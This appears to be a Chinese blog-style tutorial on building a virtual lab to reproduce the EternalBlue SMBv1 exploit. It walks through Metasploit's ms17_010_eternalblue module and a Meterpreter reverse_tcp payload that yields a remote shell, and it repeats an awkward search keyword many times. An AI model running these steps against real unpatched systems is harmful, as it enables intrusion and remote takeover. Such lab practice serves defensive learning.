能否永恒之蓝怎么搭建？别急，我把自己踩过的坑全告诉你！
嘿,朋友们！今天咱们来聊聊一个特别有意思的话题——能否永恒之蓝怎么搭建，说实话，我第一次听到“永恒之蓝”这四个字的时候，脑子里想的居然是那种特别蓝特别蓝的天空，永永远远都是蓝色的那种浪漫画面……哈哈，结果一查才知道，原来是那个大名鼎鼎的漏洞啊！哎呀，别提我当时有多尴尬了。
不过话说回来,既然有朋友在问“能否永恒之蓝怎么搭建”，那我就把我自己折腾的过程，从头到尾给大家唠一唠，先声明啊，我写这篇文章纯粹是技术交流，大家一定要在合法合规的环境下做实验，别拿去干坏事，不然我可担不起这个责任哦！
先搞清楚“永恒之蓝”到底是个啥玩意儿
其实呢,永恒之蓝（EternalBlue）是当年NSA搞出来的一个SMB漏洞利用工具，后来被影子经纪人泄露出来了，它主要影响的是Windows的SMBv1协议，像Windows 7、Windows Server 2008这些老系统，基本上是一打一个准，你说吓人不吓人？
那“能否永恒之蓝怎么搭建”这个问题，本质上就是在问：我想在本地环境里复现这个漏洞，需要准备哪些东西？怎么一步步搭起来？对吧？我懂你，我当时也是这么想的。
搭建环境前，你得先准备好这些“家当”
哎呀,说到准备工作，我可是踩了不少坑，首先你得有一台攻击机，一般用Kali Linux就行，里面自带Metasploit框架，省得你到处找工具，然后呢，你还得有一台靶机，最好是Windows 7 SP1，而且要把SMBv1开着，防火墙关掉，别问我为什么知道要关防火墙，因为我第一次忘了关，结果死活连不上，气得我差点砸键盘！
具体清单大概是这样：
- 攻击机：Kali Linux（虚拟机就行，VMware或者VirtualBox都OK）
- 靶机：Windows 7 SP1（同样用虚拟机，别拿真机瞎搞）
- 网络：两台机器要能互相ping通，建议都用NAT或者桥接模式
- 工具：Metasploit、Nmap（扫描用）
你看,其实东西不多吧？但每一步都得细心，不然就会像我一样，来回折腾好几遍。
能否永恒之蓝怎么搭建？手把手步骤来了
好了好了,我知道你们最想看的就是这部分，那我就不卖关子了，直接上干货！
第一步，先把Kali和Windows 7都开机，确认网络互通，你可以在Kali里ping一下靶机的IP，通了就继续。
第二步，打开终端，启动Metasploit，输入msfconsole，等它加载完，这个过程有点慢，你可以趁机喝口水，嘿嘿。
第三步，搜索永恒之蓝模块，输入search eternalblue，你会看到好几个结果，一般用exploit/windows/smb/ms17_010_eternalblue这个。
第四步，设置参数。use那个模块之后，用show options看看需要填什么，主要是RHOSTS（靶机IP）和LHOST（你的Kali IP），填完记得set一下。
第五步，选payload，我一般用windows/x64/meterpreter/reverse_tcp，然后设置LPORT，默认4444就行。
第六步，输入exploit或者run，…祈祷吧！哈哈，开个玩笑，如果一切顺利，你会看到一个Meterpreter会话，那就说明成功了！
哎呀,说得好像很简单，但我第一次搞的时候，光是那个LHOST就填错了好几回，所以你们一定要仔细核对IP地址哦！
几个容易翻车的地方，我帮你标出来了
说真的,能否永恒之蓝怎么搭建这个问题，难点根本不在步骤，而在那些坑坑洼洼的细节，我给你们列几个：
- 靶机的SMBv1一定要开！Windows 7默认是开的，但万一你关过，记得去“Windows功能”里勾回来。
- 防火墙！防火墙！防火墙！重要的事情说三遍，关掉它，或者加规则放行445端口。
- Kali的
LHOST别填成127.0.0.1，那玩意儿只能自己跟自己玩。 - 如果靶机是64位的,payload也要选64位的，别搞混了。
你看,这些都是我用血泪换来的经验啊！希望你们能少走点弯路。
最后再唠叨几句
其实呢,能否永恒之蓝怎么搭建，说到底就是一个动手实践的过程，你看再多教程，不如自己搭一遍，但是千万记住，只能在你自己搭的虚拟机环境里玩，别去碰别人的机器，那是违法的！咱们学技术是为了保护系统，不是为了搞破坏，对吧？
好了,今天就唠到这儿，如果你按照我的步骤还是搭不起来，欢迎在评论区留言，我看到了会尽量回复，别忘了把这篇能否永恒之蓝怎么搭建的文章收藏一下，以后说不定还用得上呢！拜拜啦，下次见！